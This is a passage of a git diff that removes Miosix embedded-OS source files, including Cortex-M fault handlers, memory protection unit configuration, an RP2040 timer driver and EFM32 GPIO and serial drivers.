0x00000001) //SCB_CFSR_IACCVIOL - IRQerrorLog("Fault was caused by attempted execution from XN area\r\n"); - #endif //WITH_ERRLOG - miosix_private::IRQsystemReboot(); -} - -void __attribute__((naked)) BusFault_Handler() -{ - saveContext(); - //Call BusFault_impl(). Name is a C++ mangled name. - asm volatile("bl _Z13BusFault_implv"); - restoreContext(); -} - -void __attribute__((noinline)) BusFault_impl() -{ - #if defined(WITH_PROCESSES) || defined(WITH_ERRLOG) - unsigned int cfsr=SCB->CFSR; - #endif //WITH_PROCESSES || WITH_ERRLOG - #ifdef WITH_PROCESSES - int id, arg=0; - if(cfsr & 0x00008000) { id=fault::BF; arg=SCB->BFAR; } - else id=fault::BF_NOADDR; - if(miosix::Thread::IRQreportFault(miosix_private::FaultData( - id,getProgramCounter(),arg))) - { - SCB->SHCSR &= ~(1<<14); //Clear BUSFAULTPENDED bit - return; - } - #endif //WITH_PROCESSES - #ifdef WITH_ERRLOG - IRQerrorLog("\r\n***Unexpected BusFault @ "); - printUnsignedInt(getProgramCounter()); - if(cfsr & 0x00008000) //SCB_CFSR_BFARVALID - { - IRQerrorLog("Fault caused by attempted access to "); - printUnsignedInt(SCB->BFAR); - } else IRQerrorLog("The address that caused the fault is missing\r\n"); - if(cfsr & 0x00001000) //SCB_CFSR_STKERR - IRQerrorLog("Fault occurred during exception stacking\r\n"); - if(cfsr & 0x00000800) //SCB_CFSR_UNSTKERR - IRQerrorLog("Fault occurred during exception unstacking\r\n"); - if(cfsr & 0x00000400) //SCB_CFSR_IMPRECISERR - IRQerrorLog("Fault is imprecise\r\n"); - if(cfsr & 0x00000200) //SCB_CFSR_PRECISERR - IRQerrorLog("Fault is precise\r\n"); - if(cfsr & 0x00000100) //SCB_CFSR_IBUSERR - IRQerrorLog("Fault happened during instruction fetch\r\n"); - #endif //WITH_ERRLOG - miosix_private::IRQsystemReboot(); -} - -void __attribute__((naked)) UsageFault_Handler() -{ - saveContext(); - //Call UsageFault_impl(). Name is a C++ mangled name. - asm volatile("bl _Z15UsageFault_implv"); - restoreContext(); -} - -void __attribute__((noinline)) UsageFault_impl() -{ - #if defined(WITH_PROCESSES) || defined(WITH_ERRLOG) - unsigned int cfsr=SCB->CFSR; - #endif //WITH_PROCESSES || WITH_ERRLOG - #ifdef WITH_PROCESSES - int id; - if(cfsr & 0x02000000) id=fault::UF_DIVZERO; - else if(cfsr & 0x01000000) id=fault::UF_UNALIGNED; - else if(cfsr & 0x00080000) id=fault::UF_COPROC; - else if(cfsr & 0x00040000) id=fault::UF_EXCRET; - else if(cfsr & 0x00020000) id=fault::UF_EPSR; - else if(cfsr & 0x00010000) id=fault::UF_UNDEF; - else id=fault::UF_UNEXP; - if(miosix::Thread::IRQreportFault(miosix_private::FaultData( - id,getProgramCounter()))) - { - SCB->SHCSR &= ~(1<<12); //Clear USGFAULTPENDED bit - return; - } - #endif //WITH_PROCESSES - #ifdef WITH_ERRLOG - IRQerrorLog("\r\n***Unexpected UsageFault @ "); - printUnsignedInt(getProgramCounter()); - if(cfsr & 0x02000000) //SCB_CFSR_DIVBYZERO - IRQerrorLog("Divide by zero\r\n"); - if(cfsr & 0x01000000) //SCB_CFSR_UNALIGNED - IRQerrorLog("Unaligned memory access\r\n"); - if(cfsr & 0x00080000) //SCB_CFSR_NOCP - IRQerrorLog("Attempted coprocessor access\r\n"); - if(cfsr & 0x00040000) //SCB_CFSR_INVPC - IRQerrorLog("EXC_RETURN not expected now\r\n"); - if(cfsr & 0x00020000) //SCB_CFSR_INVSTATE - IRQerrorLog("Invalid EPSR usage\r\n"); - if(cfsr & 0x00010000) //SCB_CFSR_UNDEFINSTR - IRQerrorLog("Undefined instruction\r\n"); - #endif //WITH_ERRLOG - miosix_private::IRQsystemReboot(); -} - -void DebugMon_Handler() -{ - #ifdef WITH_ERRLOG - IRQerrorLog("\r\n***Unexpected DebugMon @ "); - printUnsignedInt(getProgramCounter()); - #endif //WITH_ERRLOG - miosix_private::IRQsystemReboot(); -} - -#endif // !defined(_ARCH_CORTEXM0_STM32F0) && !defined(_ARCH_CORTEXM0_STM32G0) && !defined(_ARCH_CORTEXM0PLUS_STM32L0) && !defined(_ARCH_CORTEXM0PLUS_RP2040) - -void PendSV_Handler() -{ - #ifdef WITH_ERRLOG - IRQerrorLog("\r\n***Unexpected PendSV @ "); - printUnsignedInt(getProgramCounter()); - #endif //WITH_ERRLOG - miosix_private::IRQsystemReboot(); -} - -void unexpectedInterrupt() -{ - #ifdef WITH_ERRLOG - IRQerrorLog("\r\n***Unexpected Peripheral interrupt\r\n"); - #endif //WITH_ERRLOG - miosix_private::IRQsystemReboot(); -} diff --git a/miosix/arch/common/core/interrupts_cortexMx.h b/miosix/arch/common/core/interrupts_cortexMx.h deleted file mode 100644 index f444d02cb..000000000 --- a/miosix/arch/common/core/interrupts_cortexMx.h +++ /dev/null @@ -1,62 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010 - 2024 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * Called when an unexpected interrupt occurs. - * It is called by stage_1_boot.cpp for all weak interrupts not defined. - */ -void unexpectedInterrupt(); - -namespace fault { -/** - * Possible kind of faults that the Cortex-M3 can report. - * They are used to print debug information if a process causes a fault. - * This is a regular enum enclosed in a namespace instead of an enum class - * as due to the need to loosely couple fault types for different architectures - * the arch-independent code uses int to store generic fault types. - */ -enum FaultType -{ - MP=1, //Process attempted data access outside its memory - MP_NOADDR=2, //Process attempted data access outside its memory (missing addr) - MP_XN=3, //Process attempted code access outside its memory - UF_DIVZERO=4, //Process attempted to divide by zero - UF_UNALIGNED=5, //Process attempted unaligned memory access - UF_COPROC=6, //Process attempted a coprocessor access - UF_EXCRET=7, //Process attempted an exception return - UF_EPSR=8, //Process attempted to access the EPSR - UF_UNDEF=9, //Process attempted to execute an invalid instruction - UF_UNEXP=10, //Unexpected usage fault - HARDFAULT=11, //Hardfault (for example process executed a BKPT instruction) - BF=12, //Busfault - BF_NOADDR=13, //Busfault (missing addr) - STACKOVERFLOW=14 //Stack overflow -}; - -} //namespace proc diff --git a/miosix/arch/common/core/memory_protection.h b/miosix/arch/common/core/memory_protection.h deleted file mode 100644 index 6b4694b22..000000000 --- a/miosix/arch/common/core/memory_protection.h +++ /dev/null @@ -1,15 +0,0 @@ - -//MPU code is common for all the cortex M cores, so it has been put here - -#ifndef MEMORY_PROTECTION_H -#define MEMORY_PROTECTION_H - -#if defined(_ARCH_CORTEXM3_STM32F1) || defined(_ARCH_CORTEXM3_STM32F2) \ - || defined(_ARCH_CORTEXM4_STM32F4) || defined(_ARCH_CORTEXM4_STM32L4) \ - || defined(_ARCH_CORTEXM7_STM32F7) || defined(_ARCH_CORTEXM7_STM32H7) \ - || defined(_ARCH_CORTEXM7_STM32F3) || defined(_ARCH_CORTEXM4_ATSAM4L) \ - || defined(_ARCH_CORTEXM3_EFM32GG) || defined(_ARCH_CORTEXM3_EFM32G) -#include "mpu_cortexMx.h" -#endif - -#endif //MEMORY_PROTECTION_H diff --git a/miosix/arch/common/core/mpu_cortexMx.cpp b/miosix/arch/common/core/mpu_cortexMx.cpp deleted file mode 100644 index 8bf9d2b34..000000000 --- a/miosix/arch/common/core/mpu_cortexMx.cpp +++ /dev/null @@ -1,180 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "mpu_cortexMx.h" -#include "kernel/error.h" -#include -#include -#include - -using namespace std; - -namespace miosix { - -unsigned int sizeToMpu(unsigned int size) -{ - assert(size>=32); - unsigned int result=30-__builtin_clz(size); - if(size & (size-1)) result++; - return result; -} - -#ifdef WITH_PROCESSES - -// -// class MPUConfiguration -// - -MPUConfiguration::MPUConfiguration(const unsigned int *elfBase, unsigned int elfSize, - const unsigned int *imageBase, unsigned int imageSize) -{ - #if __MPU_PRESENT==1 - // NOTE: The ARM documentation is unclear about the effect of the shareable - // bit on a single core architecture. Experimental evidence on an STM32F476 - // shows that setting it in IRQconfigureCache for the internal RAM region - // causes the boot to fail. - // For this reason, all regions are marked as not shareable - regValues[0]=(reinterpret_cast(elfBase) & (~0x1f)) - | MPU_RBAR_VALID_Msk | 6; //Region 6 - regValues[2]=(reinterpret_cast(imageBase) & (~0x1f)) - | MPU_RBAR_VALID_Msk | 7; //Region 7 - regValues[1]=2<(elfBase) & (~0x1f)); - regValues[2]=(reinterpret_cast(imageBase) & (~0x1f)); - regValues[1]=sizeToMpu(elfSize)<<1; - regValues[3]=sizeToMpu(imageSize)<<1; - #endif //__MPU_PRESENT==1 -} - -void MPUConfiguration::dumpConfiguration() -{ - #if __MPU_PRESENT==1 - for(int i=0;i<2;i++) - { - unsigned int base=regValues[2*i] & (~0x1f); - unsigned int end=base+(1<<(((regValues[2*i+1]>>1) & 31)+1)); - char w=regValues[2*i+1] & (1<>1) & 31)+1)); - iprintf("* MPU region %d 0x%08x-0x%08x rwx\n",i+6,base,end); - } - #endif //__MPU_PRESENT==1 -} - -unsigned int MPUConfiguration::roundSizeForMPU(unsigned int size) -{ - return 1<<(sizeToMpu(size)+1); -} - -pair MPUConfiguration::roundRegionForMPU( - const unsigned int *ptr, unsigned int size) -{ - constexpr unsigned int maxSize=0x80000000; - //NOTE: worst case is p=2147483632 size=32, a memory block in the middle of - //the 2GB mark. To meet the constraint of returning a pointer aligned to its - //size we would need to return 0 as pointer, and 4GB as size, the whole - //address space. This is however not possible as 4GB does not fit in an - //unsigned int and would overflow size. To prevent an infinite loop, the - //returned aligned size is limited to less than 2GB, thereby preventing - //cases when the algorithm would reach 2GB and try to increase it further. - //Note that the algorithm would fail not only in the impossible worst case - //but also in cases where a 2GB size would be enough. This is not a concern - //as in practical applications memory blocks are within the microcontroller - //flash memory, and the memory is always aligned to its size, so the maximum - //aligned block this algorithm would return is just the entire flash memory, - //whose size is far less than 2GB in modern microcontrollers. - unsigned int p=reinterpret_cast(ptr); - unsigned int x=roundSizeForMPU(size); - for(;;) - { - if(x>=maxSize) errorHandler(UNEXPECTED); - unsigned int ap=p & (~(x-1)); - unsigned int addsz=p-ap; - unsigned int y=roundSizeForMPU(size+addsz); - //iprintf("ap=%u addsz=%u x=%u y=%u\n",ap,addsz,x,y); - if(y==x) return {reinterpret_cast(ap),x}; - x=y; - } -} - -bool MPUConfiguration::withinForReading(const void *ptr, size_t size) const -{ - size_t codeStart=regValues[0] & (~0x1f); - size_t codeEnd=codeStart+(1<<(((regValues[1]>>1) & 31)+1)); - size_t dataStart=regValues[2] & (~0x1f); - size_t dataEnd=dataStart+(1<<(((regValues[3]>>1) & 31)+1)); - size_t base=reinterpret_cast(ptr); - //The last check is to prevent a wraparound to be considered valid - return ( (base>=codeStart && base+size=dataStart && base+size=base; -} - -bool MPUConfiguration::withinForWriting(const void *ptr, size_t size) const -{ - size_t dataStart=regValues[2] & (~0x1f); - size_t dataEnd=dataStart+(1<<(((regValues[3]>>1) & 31)+1)); - size_t base=reinterpret_cast(ptr); - //The last check is to prevent a wraparound to be considered valid - return base>=dataStart && base+size=base; -} - -bool MPUConfiguration::withinForReading(const char* str) const -{ - size_t codeStart=regValues[0] & (~0x1f); - size_t codeEnd=codeStart+(1<<(((regValues[1]>>1) & 31)+1)); - size_t dataStart=regValues[2] & (~0x1f); - size_t dataEnd=dataStart+(1<<(((regValues[3]>>1) & 31)+1)); - size_t base=reinterpret_cast(str); - if((base>=codeStart) && (base=dataStart) && (base * - ***************************************************************************/ - -#pragma once - -#include "config/miosix_settings.h" -#include "interfaces/arch_registers.h" -#include -#include - -namespace miosix { - -/** - * \param size in bytes >32 - * \return a value that can be written to MPU->RASR to represent that size - */ -unsigned int sizeToMpu(unsigned int size); - -/** - * To be called at boot to enable the MPU. - * Without calling this function, the MPU will not work even if regions are - * configured in MPUConfiguration - */ -inline void IRQenableMPUatBoot() -{ - #if __MPU_PRESENT==1 - MPU->CTRL=MPU_CTRL_PRIVDEFENA_Msk | MPU_CTRL_ENABLE_Msk; - #endif //__MPU_PRESENT==1 -} - -#ifdef WITH_PROCESSES - -/** - * \internal - * This class is used to manage the MemoryProtectionUnit - */ -class MPUConfiguration -{ -public: - /** - * Default constructor, leaves the MPU regions unconfigured - */ - MPUConfiguration() {} - - /** - * \internal - * \param elfBase base address of the ELF file - * \param elfSize size of the ELF file - * \param imageBase base address of the Process RAM image - * \param imageSize size of the Process RAM image - */ - MPUConfiguration(const unsigned int *elfBase, unsigned int elfSize, - const unsigned int *imageBase, unsigned int imageSize); - - /** - * \internal - * This method is used to configure the Memoy Protection region for a - * Process during a context-switch to a userspace thread. - * Can only be called inside an IRQ, not even with interrupts disabled - */ - void IRQenable() - { - #if __MPU_PRESENT==1 - MPU->RBAR=regValues[0]; - MPU->RASR=regValues[1]; - MPU->RBAR=regValues[2]; - MPU->RASR=regValues[3]; - __set_CONTROL(3); - #endif //__MPU_PRESENT==1 - } - - /** - * \internal - * This method is used to disable the MPU during a context-switch to a - * kernelspace thread. - * Can only be called inside an IRQ, not even with interrupts disabled - */ - static void IRQdisable() - { - #if __MPU_PRESENT==1 - __set_CONTROL(2); - #endif //__MPU_PRESENT==1 - } - - /** - * Print the MPU configuration for debugging purposes - */ - void dumpConfiguration(); - - /** - * Some MPU implementations may not allow regions of arbitrary size, - * this function allows to round a size up to the minimum value that - * the MPU support. - * \param size the size of a memory area to be configured as an MPU - * region - * \return the size rounded to the minimum MPU region allowed that is - * greater or equal to the given size - */ - static unsigned int roundSizeForMPU(unsigned int size); - - /** - * Some MPU implementations may not allow regions of arbitrary size, - * this function allows to round a memory region up to the minimum value - * that the MPU support. - * \param ptr pointer to the original memory region - * \param size original size of the memory region - * \return a pair with a possibly enlarged memory region which contains the - * original memory region but is aligned to be used as an MPU region - */ - static std::pair - roundRegionForMPU(const unsigned int *ptr, unsigned int size); - - /** - * Check if a buffer is within a readable segment of the process - * \param ptr base pointer of the buffer to check - * \param size buffer size - * \return true if the buffer is correctly within the process - */ - bool withinForReading(const void *ptr, size_t size) const; - - /** - * Check if a buffer is within a writable segment of the process - * \param ptr base pointer of the buffer to check - * \param size buffer size - * \return true if the buffer is correctly within the process - */ - bool withinForWriting(const void *ptr, size_t size) const; - - /** - * Check if a nul terminated string is entirely contained in the process, - * \param str a pointer to a nul terminated string - * \return true if the buffer is correctly within the process - */ - bool withinForReading(const char *str) const; - - //Uses default copy constructor and operator= -private: - ///These value are copied into the MPU registers to configure them - unsigned int regValues[4]; -}; - -#endif //WITH_PROCESSES - -} //namespace miosix diff --git a/miosix/arch/common/core/rp2040_os_timer.cpp b/miosix/arch/common/core/rp2040_os_timer.cpp deleted file mode 100644 index b65936ec5..000000000 --- a/miosix/arch/common/core/rp2040_os_timer.cpp +++ /dev/null @@ -1,176 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2024 by Daniele Cattaneo * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "kernel/kernel.h" -#include "interfaces/delays.h" -#include "interfaces/os_timer.h" -#include "interfaces/arch_registers.h" - -namespace miosix { - -namespace internal { - -static TimeConversion tc(48000000); -static uint64_t lastAlarmTicks; - -/** - * \internal - * Get raw tick count from the timer. - * \returns the current tick count. - */ -static inline uint64_t IRQgetTicks() noexcept -{ - //Latching reads: order matters! - uint32_t lo = timer_hw->timelr; - uint32_t hi = timer_hw->timehr; - return (uint64_t)lo + ((uint64_t)hi << 32); -} - -/** - * \internal - * Initialize and start the os timer. - * It is used by the kernel, and should not be used by end users. - */ -void IRQosTimerInit() -{ - //Bring timer out of reset - resets_hw->reset = resets_hw->reset & ~RESETS_RESET_TIMER_BITS; - while (~resets_hw->reset_done & RESETS_RESET_TIMER_BITS) {} - //Enable timer interrupt - //Timer IRQ saves context: its priority must be 3 (see portability.cpp) - NVIC_SetPriority(TIMER_IRQ_0_IRQn, 3); - NVIC_EnableIRQ(TIMER_IRQ_0_IRQn); - timer_hw->inte = TIMER_INTE_ALARM_0_BITS; - //Toggle debug sleep mode. Works around a bug where the timer does not - //start counting if it was reset while it was paused due to debug mode. - timer_hw->dbgpause = 0; - delayUs(1); - timer_hw->dbgpause = 3; -} - -/** - * \internal - * Set the next interrupt. - * It is used by the kernel, and should not be used by end users. - * Can be called with interrupts disabled or within an interrupt. - * The hardware timer handles only one outstading interrupt request at a - * time, so a new call before the interrupt expires cancels the previous one. - * \param ns the absolute time when the interrupt will be fired, in nanoseconds. - * When the interrupt fires, it shall call the - * \code - * void IRQtimerInterrupt(long long currentTime); - * \endcode - * function defined in kernel/scheduler/timer_interrupt.h - */ -void IRQosTimerSetInterrupt(long long ns) noexcept -{ - uint64_t lastAlarmTicks = (uint64_t)tc.ns2tick(ns); - //Writing to the ALARM register also enables the timer - timer_hw->alarm[0] = (uint32_t)lastAlarmTicks; - if(IRQgetTicks() >= lastAlarmTicks) NVIC_SetPendingIRQ(TIMER_IRQ_0_IRQn); -} - -/** - * \internal - * Handles the timer interrupt, checking if the alarm period is indeed - * elapsed and calling the kernel if so. - */ -void IRQtimerInterruptHandler() -{ - //Clear the timer IRQ (register is write clear (WC)!) - timer_hw->intr = 1; - uint64_t t = IRQgetTicks(); - //Check the full 64 bits. If the alarm deadline has passed, call the kernel. - //Otherwise rearm the timer and try again. - if (t >= lastAlarmTicks) miosix::IRQtimerInterrupt(tc.tick2ns(t)); - else timer_hw->armed = 1; -} - -/** - * \internal - * Set the current system time. - * It is used by the kernel, and should not be used by end users. - * Used to adjust the time for example if the system clock was stopped due to - * entering deep sleep. - * Can be called with interrupts disabled or within an interrupt. - * \param ns value to set the hardware timer to. Note that the timer can - * only be set to a higher value, never to a lower one, as the OS timer - * needs to be monotonic. - * If an interrupt has been set with IRQsetNextInterrupt, it needs to be - * moved accordingly or fired immediately if the timer advance causes it - * to be in the past. - */ -void IRQosTimerSetTime(long long ns) noexcept -{ - uint64_t newTicks = (uint64_t)tc.ns2tick(ns); - timer_hw->pause = 1; - timer_hw->timelw = (uint32_t)newTicks; - timer_hw->timehw = (uint32_t)(newTicks >> 32); - //Check if the time is advancing past the last alarm deadline set - if ((timer_hw->armed & 1) && lastAlarmTicks >= newTicks) - { - timer_hw->armed = 0; - NVIC_SetPendingIRQ(TIMER_IRQ_0_IRQn); - } - timer_hw->pause = 0; -} - -/** - * \internal - * It is used by the kernel, and should not be used by end users. - * \return the timer frequency in Hz. - * If a prescaler is used, it should be taken into account, the returned - * value should be equal to the frequency at which the timer increments in - * an observable way through IRQgetCurrentTime() - */ -unsigned int osTimerGetFrequency() -{ - return 48000000; -} - -} // namespace internal - -long long getTime() noexcept -{ - FastInterruptDisableLock dLock; - return IRQgetTime(); -} - -long long IRQgetTime() noexcept -{ - long long ticks = (long long)internal::IRQgetTicks(); - return internal::tc.tick2ns(ticks); -} - -} // namespace miosix - -void __attribute__((naked)) TIMER_IRQ_0_Handler() -{ - saveContext(); - asm volatile("bl %a0"::"i"(miosix::internal::IRQtimerInterruptHandler):); - restoreContext(); -} diff --git a/miosix/arch/common/drivers/efm32_gpio.h b/miosix/arch/common/drivers/efm32_gpio.h deleted file mode 100644 index 8eb69e211..000000000 --- a/miosix/arch/common/drivers/efm32_gpio.h +++ /dev/null @@ -1,334 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef EFM32_GPIO_H -#define EFM32_GPIO_H - -#include "interfaces/arch_registers.h" - -//The EFM32 header files do not provide a pointer to struct for each GPIO, -//rather a single pointer to a GPIO struct is provided with an array of -//other structs, one for each port. Thus, the port names map to indices to that -//array. They are put outside of the miosix namespace for compatibility with -//other BSPs -const unsigned int GPIOA_BASE=0; -const unsigned int GPIOB_BASE=1; -const unsigned int GPIOC_BASE=2; -const unsigned int GPIOD_BASE=3; -const unsigned int GPIOE_BASE=4; -const unsigned int GPIOF_BASE=5; - -namespace miosix { - -/** - * This class just encapsulates the Mode_ enum so that the enum names don't - * clobber the global namespace. - */ -class Mode -{ -public: - /** - * GPIO mode (INPUT, OUTPUT, ...) - * \code pin::mode(Mode::INPUT);\endcode - */ - enum Mode_ - { - DISABLED = 0x10, ///P[p].CTRL=dst; -} - -/** - * This class allows to easiliy pass a Gpio as a parameter to a function. - * Accessing a GPIO through this class is slower than with just the Gpio, - * but is a convenient alternative in some cases. Also, an instance of this - * class occupies a few bytes of memory, unlike the Gpio class. - * - * To instantiate classes of this type, use Gpio::getPin() - * \code - * typedef Gpio led; - * GpioPin ledPin=led::getPin(); - * \endcode - */ -class GpioPin -{ -public: - /** - * \internal - * Constructor. Don't instantiate classes through this constructor, - * rather caller Gpio::getPin(). - * \param port port struct - * \param n which pin (0 to 15) - */ - GpioPin(GPIO_P_TypeDef *port, unsigned char n) : port(port), n(n) {} - - /** - * Set the GPIO to the desired mode (INPUT, OUTPUT, ...) - * \param m enum Mode_ - */ - void mode(Mode::Mode_ m); - - /** - * Set the pin to 1, if it is an output - */ - void high() - { - port->DOUTSET=1<DOUTCLR=1<DOUTTGL=1<DIN & 1<P; } - - /** - * \return the pin number, from 0 to 15 - */ - unsigned char getNumber() const { return n; } - -private: - GPIO_P_TypeDef *port; ///=8> -struct ModeFwd : private ModeBase -{ - inline static void mode(Mode::Mode_ m) - { - ModeBase::modeImplH(&GPIO->P[P],N,m); - } -}; - -template -struct ModeFwd -{ - inline static void mode(Mode::Mode_ m) - { - ModeBase::modeImplL(&GPIO->P[P],N,m); - } -}; - -} //namespace detail - -/** - * Gpio template class - * \param P GPIOA_BASE, GPIOB_BASE, ... - * \param N which pin (0 to 15) - * The intended use is to make a typedef to this class with a meaningful name. - * \code - * typedef Gpio green_led; - * green_led::mode(Mode::OUTPUT); - * green_led::high();//Turn on LED - * \endcode - */ -template -class Gpio -{ -public: - /** - * Set the GPIO to the desired mode (INPUT, OUTPUT, ...) - * \param m enum Mode_ - */ - static void mode(Mode::Mode_ m) - { - detail::ModeFwd::mode(m); - } - - /** - * Set the pin to 1, if it is an output - */ - static void high() - { - GPIO->P[P].DOUTSET=1<P[P].DOUTCLR=1<P[P].DOUTTGL=1<P[P].DIN & 1<P[P],N); - } - - /** - * \return the pin port. One of the constants PORTA_BASE, PORTB_BASE, ... - */ - unsigned int getPort() const { return P; } - - /** - * \return the pin number, from 0 to 15 - */ - unsigned char getNumber() const { return N; } - -private: - Gpio();//Only static member functions, disallow creating instances -}; - -} //namespace miosix - -#endif //EFM32_GPIO_H diff --git a/miosix/arch/common/drivers/efm32_serial.cpp b/miosix/arch/common/drivers/efm32_serial.cpp deleted file mode 100644 index 5d28e1af0..000000000 --- a/miosix/arch/common/drivers/efm32_serial.cpp +++ /dev/null @@ -1,331 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015-2023 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include -#include -#include -#include -#include "efm32_serial.h" -#include "kernel/sync.h" -#include "kernel/scheduler/scheduler.h" -#include "interfaces/portability.h" -#include "interfaces/gpio.h" -#include "filesystem/ioctl.h" - -using namespace std; -using namespace miosix; - -// NOTE: In the efm32 USART peripherals are either used as serial port or SPI -// and there are no dedicated SPI peripherals. If a port is used somewhere -// else as SPI with interrupts, the declaration of the interrupt routine here -// would conflict. So we add the option to disable unused ports. -#ifndef DISABLE_USART0_DRIVER - -using u0tx=Gpio; //Hardcoding location 0 for now -using u0rx=Gpio; -/// Pointer to serial port class to let interrupts access the class -static EFM32Serial *port0=nullptr; - -/** - * \internal interrupt routine for usart0 rx actual implementation - */ -void __attribute__((noinline)) usart0rxIrqImpl() -{ - if(port0) port0->IRQhandleInterrupt(); -} - -/** - * \internal interrupt routine for usart0 rx - */ -void __attribute__((naked)) USART0_RX_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z15usart0rxIrqImplv"); - restoreContext(); -} - -#endif //DISABLE_USART0_DRIVER - -#ifndef DISABLE_USART1_DRIVER - -using u1tx=Gpio; //Hardcoding location 0 for now -using u1rx=Gpio; -/// Pointer to serial port class to let interrupts access the class -static EFM32Serial *port1=nullptr; - -/** - * \internal interrupt routine for usart1 rx actual implementation - */ -void __attribute__((noinline)) usart1rxIrqImpl() -{ - if(port1) port1->IRQhandleInterrupt(); -} - -/** - * \internal interrupt routine for usart1 rx - */ -void __attribute__((naked)) USART1_RX_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z15usart1rxIrqImplv"); - restoreContext(); -} - -#endif //DISABLE_USART0_DRIVER - -namespace miosix { - -// -// class EFM32Serial -// - -// A note on the baudrate/500: the buffer is selected so as to withstand -// 20ms of full data rate. In the 8N1 format one char is made of 10 bits. -// So (baudrate/10)*0.02=baudrate/500 -EFM32Serial::EFM32Serial(int id, int baudrate) - : Device(Device::TTY), rxQueue(rxQueueMin+baudrate/500), rxWaiting(0), - portId(id), baudrate(baudrate) -{ - { - InterruptDisableLock dLock; - switch(id) - { - #ifndef DISABLE_USART0_DRIVER - case 0: - port0=this; - port=USART0; - u0tx::mode(Mode::OUTPUT_HIGH); - u0rx::mode(Mode::INPUT_PULL_UP_FILTER); - CMU->HFPERCLKEN0|=CMU_HFPERCLKEN0_USART0; - NVIC_SetPriority(USART0_RX_IRQn,15);//Lowest priority for serial - NVIC_EnableIRQ(USART0_RX_IRQn); - - port->IRCTRL=0; //USART0 also has IrDA mode - break; - #endif //DISABLE_USART0_DRIVER - #ifndef DISABLE_USART1_DRIVER - case 1: - port1=this; - port=USART1; - u1tx::mode(Mode::OUTPUT_HIGH); - u1rx::mode(Mode::INPUT_PULL_UP_FILTER); - CMU->HFPERCLKEN0|=CMU_HFPERCLKEN0_USART1; - NVIC_SetPriority(USART1_RX_IRQn,15);//Lowest priority for serial - NVIC_EnableIRQ(USART1_RX_IRQn); - break; - #endif //DISABLE_USART0_DRIVER - default: - InterruptEnableLock eLock(dLock); - errorHandler(UNEXPECTED); - } - } - - port->IEN=USART_IEN_RXDATAV; - port->CTRL=USART_CTRL_TXBIL_HALFFULL; //Use the buffer more efficiently - 